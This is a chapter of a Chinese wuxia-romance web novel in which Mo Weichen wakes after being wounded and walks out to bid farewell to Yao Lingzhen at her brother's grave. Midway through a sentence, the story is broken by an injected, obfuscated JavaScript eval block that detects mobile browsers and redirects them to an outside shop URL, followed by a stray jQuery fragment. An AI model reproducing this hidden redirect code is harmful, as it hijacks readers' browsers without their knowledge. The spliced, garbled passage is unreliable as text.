第二百一十七章 醒来
作品:《闻道洛阳花正好》 不知睡了多久。
周围是干燥的、蓬松的暖意。一缕松雪似的冰凉冷冽气味,钻进鼻尖。
痒痒的,墨微辰想伸手去挠,指尖刚动,便被另一只手握住。
这只手冰冰凉,引墨微辰从梦中醒来。
睁开眼,秦无瑕那张比冰雪更清冷透亮的脸占据了整个视线,微弱的光线停留在他山峦般起伏的侧脸上,她忍不住勾了勾嘴角。
身上,柔软的被褥之上盖着玄狐**氅,氅边的毛绒蹭着她的脸颊,带来某种清苦又令人安宁的草药气息。身下也垫得很厚,平稳而柔软,马匹打响鼻的声音穿过厚厚的车帐钻进耳朵,她感到知觉开始恢复。
她翻动手心,将他冰冷的手拖进大氅之下,牵动背上伤口,闷哼一声。
车厢里的光线一晃。
“太亮了?”秦无瑕迅速收了手中书册,车帘随之落下,盖住户外照进来的光,“把你吵醒了。”
“不会,”她开口,声音哑得厉害,“你在看什么?”
“舆图。”秦无瑕从身旁小几上取过温着的铜壶,倒了半盏蜜水递来,“一切已了,你想去的那些地方,都可以去了。”
他的声音很平静,但在她心里砸出巨大波澜。鬼门关走一回,她终于发现自己是在乎他的,是舍不得的,是想和他有瓜葛的。那会儿她以为自己要**,随口说要同他去这里那里,没想到他已经在看舆图了。
墨微辰接过他递来的水盏。温热透过瓷壁渗入掌心,她小口啜饮,甜润缓和了喉间干痛,也让她想起更多混沌的记忆。
栖梧山庄。雪地。**。阿宝倒下的身影。珍珍撕裂般的呼喊。
还有…秦无瑕印在阿宝胸口那最后一掌。
她握着杯盏的手指微微收紧。
“我们在哪儿?”她问。
“栖梧山庄以北三里,”秦无瑕看着她,“继续向北之前,我觉着,你会想同姚凌珍告别。”
墨微辰沉默片刻,将空盏还给他。马车在山野间停驻不动,原来也是为了她考虑。
“珍珍在哪儿?”她轻声问。
秦无瑕瞧了她一会儿,似乎有些后悔同她提了姚凌珍。但他还是取过盖在她身上的大氅,带到帐外抖开、拍松,又拿进车厢里。他倾身扶她起来,替她披上大氅,又细心地系好长带,最后才打开了车帘:“我唤她过来。”
光线大亮,冷风灌入,墨微辰微微眯起眼睛。她抚了抚心口,感觉背部疼痛尚在可忍受的范围内,低声说:我自己去找珍珍。躺了这许多天,想动一动。”
在秦无瑕开口拒绝之前,她俏皮地眨了下眼睛:“我可是经神医医治过的,你可别说我身子未愈,不宜下地。”
秦无瑕眉梢几不可察地动了一下。
“我陪你去。”
“也不必。”墨微辰打断他,声音不高,却很坚决。她撑坐着向前挪,想证明自己可以。厚重的**氅被拖动,牵动背伤,她咬牙忍下那阵锐痛,面上不露半点:“我想自己去。“
车厢内空气凝了一瞬。
秦无瑕的视线落在她因用力而泛白的指节上,又移回她眼中。她眼底的强撑他不是看不见,但他还是极轻地叹了口气:“我可以在远处等。”
他缓了缓,又道,“我远远看看你,不上前。”
墨微辰摇头:“不必。我只去告个别,不会耽搁,也不会…”她顿了顿,像是知道他在担心什么,补了一句,“再也不会不告而别。”
最后四字她说得很轻。
秦无瑕杀了阿宝,珍珍必然不愿见到他,所以她想独自见珍珍。可她先前拼命想甩开他的态度,以及上一次的不告而别,大约伤害了他。
“真不会。”她承诺。
秦无瑕看着她,良久,终是点了点头。
“我在此处等你,”他说,“早些回来。”
墨微辰答应了。
临走前,秦无瑕还是补了句:“霄莱说,姚凌珍...情况不大好。你看看就好,不要...被她影响。”
终究还是念了少年的情谊。墨微辰心里笑他,嘴上的话乖顺:“知道了。”
雪后,天地澄澈。阳光已斜,毫无遮拦地泼洒下来,照得雪野一片灿然,照得她几乎睁不开眼。
在秦无瑕的指点下,墨微辰转身踏上低矮的山坡。每走一步,背上未愈的伤口便隐隐作痛,她缓缓调息,呼吸间呵出白气,在冷空气中迅速消散。
山坡不高,她没有走太久。转过一棵枯松,上一个稍陡的山坡,抬眼便看见了那个身影。
姚凌珍独自立在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005180|169872||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
坡顶平缓处。
她面前是一座新立的石碑。石块粗糙,显然仓促凿成,碑上积雪已扫净,露出深深镌刻的几行字:
弟姚凌宝之墓
姐姚凌珍泣立
没有生卒年月,没有悼文。唯有“弟”与“阿姐”四字,在雪光下格外刺眼。
墨微辰走近,雪地被踩得嘎吱作响。姚凌珍没有回头,只是站着,沉默地望着墓碑,仿佛那石碑能开口同她说话。她换了一身素白衣裙,发间没有任何饰物,脸上泪痕已干,只剩一种近乎空茫的平静。
“珍珍。”墨微辰轻声唤道。
姚凌珍这才缓缓转过头。阳光照在她脸上,眼下淡青的阴影清晰可见,但她嘴角竟微微弯了一下,像个疲惫却勉力维持礼貌的主人。
“你来啦。”她说,声音有些沙,“来看阿宝?”
“来看看你。”墨微辰走到她身侧,与她一同望向墓碑。碑前没有香烛供品,只放了一小截枯松枝,枝头积着未化的雪。“阿宝那臭小子拿刀子捅我,我看他干嘛?我在乎你就够了。”
姚凌珍轻轻笑了,越笑越苦。
风从坡顶掠过,卷起细雪,簌簌作响。
墨微辰的视线从墓碑移向坡下——从这里,恰好能看见栖梧山庄的全貌:倾颓的门墙、覆雪的重重屋脊、枯枝盘虬的庭院。山庄在雪野中静卧,像一头伤痕累累的巨兽。
“这地方视野好。”墨微辰说道。
姚凌珍点了点头。
“阿宝喜欢这里。”她轻声说,语气里有种奇异的温柔,“小时候,我常带他来这儿。他说,从这里能看见阿娘的院子,却看不见阿娘的哭泣。”
墨微辰喉间一哽。
她不敢告诉姚凌珍——阿宝亲手杀了他们的父母,还将双亲合葬在庄内荒院。这件事像一块灼热的炭,堵在她心口,吐不出,咽不下。
反而是姚凌珍忽然开口,语气平静得像在说旁人的事:
“我没有将他与爹娘合葬。”她说,“我知道他做了什么。”
姚凌珍依旧望着坡下的山庄,阳光在她眼中映出浅金色的光点,却照不进深处。
“娇龙儿,你记不得从前事了,对吧?”她侧过脸,看向墨微辰,“那我同你说说…许多年前,泰山派的事。”

